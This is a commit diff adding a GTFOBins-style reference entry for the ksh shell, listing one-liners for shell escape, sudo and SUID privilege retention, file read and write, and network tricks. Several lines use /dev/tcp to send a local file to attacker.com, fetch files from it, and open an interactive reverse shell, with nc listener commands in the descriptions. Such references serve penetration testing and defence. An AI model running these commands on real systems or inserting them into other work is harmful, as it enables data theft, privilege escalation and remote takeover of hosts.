Add ksh

_gtfobins/ksh.md

@@ -0,0 +1,56 @@
+---
+functions:
+  execute-interactive:
+    - code: ksh
+  sudo-enabled:
+    - code: sudo ksh
+  suid-enabled:
+    - code: ./ksh -p
+  upload:
+    - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_send
+        ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
+    - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_send
+        ksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
+  download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_get
+        ksh -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
+            3<>/dev/tcp/$RHOST/$RPORT \
+            | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
+    - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
+      code: |-
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_get
+        ksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
+  reverse-shell-interactive:
+    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        ksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1'
+  file-read:
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        ksh -c 'echo "$(<$LFILE)"'
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        ksh -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
+  file-write:
+    - code: |
+        export LFILE=file_to_write
+        ksh -c 'echo data > $LFILE'
+---